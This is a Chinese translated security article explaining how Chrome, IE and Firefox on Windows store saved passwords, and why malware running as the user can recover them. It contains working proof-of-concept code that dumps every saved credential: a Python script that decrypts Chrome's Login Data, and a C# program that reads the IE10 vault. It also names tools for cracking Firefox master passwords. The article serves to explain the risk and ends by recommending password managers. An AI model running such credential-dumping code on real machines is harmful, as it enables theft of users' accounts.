我之前的文章中介绍了名为dumpmon的推特机器人,它监控着众多“贴码网站”的账户转储、配置文件和其他信息。自那以后,我一直留意着监测到的信息。接下来会有关于dumpmon的一系列文章,而本文则关注浏览器是如何存储密码的。
这里提到dumpmon,是因为我偶然发现一些贴码,比如这篇, 应该是感染在计算机上的恶意软件的日志。我便想:我总是认为最好不要让浏览器直接存储密码,但是原因呢?恶意软件从感染的计算机中获得密码会有多轻松呢? 因为从一处获得所有想要的资料有点困难,所以我决定在此文贴出结果以及一些从各个浏览器的密码管理器中提取密码的简单代码。
本文所述,是在windows 8系统上分析下述浏览器,此处链接列表是为了帮助读者直接跳到感兴趣的浏览器部分:
Chrome 27.0.1453.110
IE 10
Firefox 21.0
获得密码难易程度:简单
令人失望的是,chrome浏览器是最容易被提取密码的。
加密后的密钥存储于%APPDATA%\..\Local \Google\Chrome\User Data\Default\Login Data"下的一个SQLite数据库中。
但是是如何获转存并加密的呢?我从《谷歌Chrome浏览器是如何存储密码的》这篇文章中获得了Chrome存储密码的诸多信息,而这篇文章是4年前写得。
虽然从那篇文章以后Chrome做了些改变,但是我将按照同样的方式,利用Chromium源码的一些片段向你展示密码是如何转储的。
存储加密密码
当用户访问网站时,Chrome会首先判断此次登陆是否是一次成功的登录,判断代码片段:
如果成功登录,并且使用的是一套新的证书,这个证书是浏览器之前没有生成过的,Chrome就会生成一个提示条,询问用户是否需要记住密码:
在此为节省篇幅,我省略了创建提示条的代码。当点击“保存密码”时,就会调用Chrome密码管理器的“保存”函数来响应操作:
再次为控制篇幅,裁剪了一些内容(例如一个对证书是否属于google的网站的操作审查等等)。在这函数被调用之后,执行AddLoginImpl()函数的任务被调用。这是用来使界面快速响应的:
该函数会调用登陆数据库对象的AddLogin()函数,以检查其操作是否成功。下面就是AddLogin()(我保证,我们马上就要看到密码是如何存储的了):
这里有些有趣的东西。我们利用用户密码生成一个字符串密钥。这段代码已经减掉了,但 是”sql:Statement”行下面,执行了一个SQL查询语句,实现了在登录数据文件中存储加密数据。该EncryptedString函数仅仅是 在一个加密对象上简单调用了EncryptString16函数(就是下面这个):
最终,我们看到密码是调用Windows API函数CryptProtectData来加密的。这意味着,只有用加密时使用的登陆证书,密码才能被恢复。而这根本不是问题,恶意软件通常就是在用户登陆环境下执行的。
密码破译
在讨论如何破译上面存储的密码之前,让我们首先使用Sqlite浏览器来查看一下登陆文件中的数据:
我们的目的是从这个数据库中抽取出action_url,username_value 和password_value(是二进制数据,所以SQLite浏览器不能显示)。而破解密码,只需要调用Windows API中的 CryptUnprotectData函数。
幸运地是,Python为调用Windows API准备了一个完美的叫做pywin32的库。
先看一下我们使用的PoC:
from os import getenv
import sqlite3
import win32crypt
# Connect to the Database
#conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
# Get the results
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
print result
# Decrypt the Password
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
print 'Site: ' + result[0]
print 'Username: ' + result[1]
print 'Password: ' + password
else:
print "no password found"
安全脉搏SP小编提示:得先安装win32crypt package其实就是安装一个pywin32 pypi下载路径https://pypi.python.org/pypi/pywin32http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe否则报错缺少模块import win32cryptImportError: No module named win32crypt后续测试发现py直接sqlite查询%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data会权限不足 cursor.execute('SELECT action_url, username_value, password_value FROM logins')sqlite3.OperationalError: database is lockedChrome浏览器这里可以设置 我们删除之前的不保存测试登录的时候选择记住密码
虽然找到密码是如何存储的有点费事(也可以使用其他的动态方法,但是分析代码会更透彻),但是解密密码则几乎没费什么力气。唯一被保护起来的就是密码的部分,还仅仅保护当前用户。
获得密码难易程度:简单/一般/困难(依版本而定)本质上来讲,直到IE10之前,IE浏览器的密码管理与Chrome使用的是相同的技术,但有一些有趣的改变。为了全面的展示,我们先简单讨论一下IE7——IE9的密码存储,然后再讨论在IE10中的变革。
IE7-9浏览器
在IE的早期版本中,根据密码类型的不同,会被存储于两个不同的地方:
注册表(基于表单的验证)——这类密码是提交给诸如Facebook、Gmail之类站点的。证书文件——HTTP验证密码方式,类似于网上登陆证书。
根据本篇文章需要,接下来讨论基于表单验证的证书,这也是大多数攻击者可能选择的攻击目标。这些证书存储于如下注册表键位置:
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
用regedit(注册表编辑器)可以看到值,类似于下面这样:
正如Chrome中的示例,这些证书使用Windows API中的CryptProtectData函数加密后储存。不同之处是该函数添加了额外的熵(译者注:熵,熵就是混乱的程度,用来描述某个事件不断趋向混乱的过程)。这里的熵,就是这注册表键值,它是网站URL的SHA1的校验和,以供证书使用。
这非常有用,因为当用户访问网站时,IE能够迅速根据URL的哈希值判断是否已经有此证书,之后再用此哈希值完成证书解密。如果攻击者不知道此处使用了URL,解密证书就会变得很困难。
通常,攻击者能够通过历遍用户因特网访问历史,hash每个URL以及检查每个存储证书的方式,来降低此种保护方式的效果。
本文中没有贴出完整代码,你可以在这里处获得完整示例。现在,我们开始讨论IE10。
IE10浏览器
IE10改变了密码存储方式。所有自动填充的密码存储于证书管理中一个叫“web证书”的地方,如下图所示:
个人理解(在这个问题上我找不到更多的信息),这些证书文件存放于%APPDATA%\Local\Microsoft\Vault\[random]目录下。关于这些文件是什么及其所用格式,可以在这里找到。
我所知道的是获得这些密码并不难。事实上,非常容易。为了支持windows的应用商店,微软提供了一个新的Windows runtime,用来支持更多地API访问。该winRT提供了对Windows.Security.Credentials namespace的访问接口,它提供了用来遍历用户证书的所有函数。
事实上,这有一个简短的C#脚本PoC,在用户的环境下执行时,它会检索存储的密码:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Windows.Security.Credentials;
namespace PasswordVaultTest
{
class Program
{
static void Main(string[] args)
{
// Create a handle to the Widnows Password vault
Windows.Security.Credentials.PasswordVault vault = new PasswordVault();
// Retrieve all the credentials from the vault
IReadOnlyList<PasswordCredential> credentials = vault.RetrieveAll();
// The list returned is an IReadOnlyList, so there is no enumerator.
// No problem, we'll just see how many credentials there are and do it the
// old fashioned way
for (int i = 0; i < credentials.Count; i++)
{
// Obtain the credential
PasswordCredential cred = credentials.ElementAt(i);
// "Fill in the password" (I wish I knew more about what this was doing)
cred.RetrievePassword();
// Print the result
Console.WriteLine(cred.Resource + ':' + cred.UserName + ':' + cred.Password);
}
Console.ReadKey();
}
}
}
执行该程序后,输出类似于下图所示: 注意:我删除了一些我已经禁止IE储存的站点。除此之外,我也不是很清楚为什么有些凭据被储存了起来。
正如你所见,只要我们的程序在特定用户环境中执行,提取指定用户使用的所有密码略繁琐但还是挺简单的。下面我们继续。
获得密码的难易程度:一般/非常困难
接下来谈谈比较棘手的Firefox。主要使用这些幻灯片中的方法获取关于用户数据存储位置的资料。
首先,透露下Firefox的密码管理的小秘密。为满足开发者创建满足各种安全标准的应用程序,Mozilla开发了一个叫做“Network Security Services”,或叫NSS的开源库。Firefox使用其中一个叫做”Security Decoder Ring”,或叫SDR的API来帮助实现账号证书的加密和解密函数。虽然名字很文艺,我们还是来看看firefox是如何使用它完成加密的:
当一个Firefox配置文件被首次创建时,一个叫做SDR的随机key和一个Salt(译者注:Salt, 在密码学中,是指通过在密码任意固定位置插入特定的字符串,让散列后的结果和使用原始密码的散列结果不相符,这种过程称之为“加盐”)就会被创建并存储在 一个名为“key3.db”的文件中。利用这个key和盐,使用3DES加密算法来加密用户名和密码。密文是Base64编码的,并存储在一个叫做 signons.sqlite的sqlite数据库中。Signons.sqlite和key3.db文件均位于%APPDATA%\Mozilla \Firefox\Profiles\[random_profile]目录。
所以我们要做的就是得到SDR密钥。正如此处解释的,这个key被保存在一个叫PCKS#11软件“令牌”的容器中。该令牌被封装进入内部编号为PKCS#11的“槽位”中。因此需要访问该槽位来破译账户证书。
还有一个问题,这个SDR也是用3DES(DES-EDE-CBC)算法加密的。解密密钥是Mozilla叫做“主密码”的hash值,以及一个位于key3.db文件中对应的叫做“全局盐”的值。
Firefox用户可以在浏览器的设置中设定主密码,但关键是好多用户不知道这个特性。正如我们看到的,用户整个账号证书的完整性链条依赖于安全设置中选择的密码,它是攻击者唯一不知道的值。如果用户使用一个强健的主密码,那么攻击者想要恢复存储的证书是不太可能的。
那么——如果用户没有设置主密码,空密码就会被使用。这意味着攻击者可以提取全局盐,获得它与空密码做hash运算结果,然后使用该结果破译SDR密钥。再用破译的SDR密钥危害用户证书。
想知道的更清楚,我们可以简单查下源代码。负责证书解密的主要函数是PK11SDR_Decrypt。此处不再展示整个函数,仅分别列出如下被调用的函数:
PK11_GetInternalKeySlot() //得到内部key槽PK11_Authenticate() //使用主密码对slot鉴权PK11_FindFixedKey() //从slot中获得SDR密钥Pk11_Decrypt() //使用SDR密钥破译Base64编码的数据
至于破译密码的示例代码,过程有点复杂,此处就不再累述了。介绍两个可以完成此过程的开源工程:
FireMaster – 暴力破解主密码
ffpasscrack – 推荐的是Python的解决方案。这个方案使用libnss.so库做负载DLL。在Windows上使用的话,可以利用cygwin的DLL文件。
希望此文能让你清楚的了解到浏览器是如何存储密码的,以及为何在一些情况下不该让它们存储。但是,本文不能下这样的论断,即浏览器存储密码一点都不安全。例如,在Firefox浏览器案例中,如果采用高强度的主密码,账号的细节资料是非常难获取的。
若是采用别的密码管理,比如LastPass、KeePass,则是极好的方案,也可以借助设备采用双因素认证,比如Yubkey。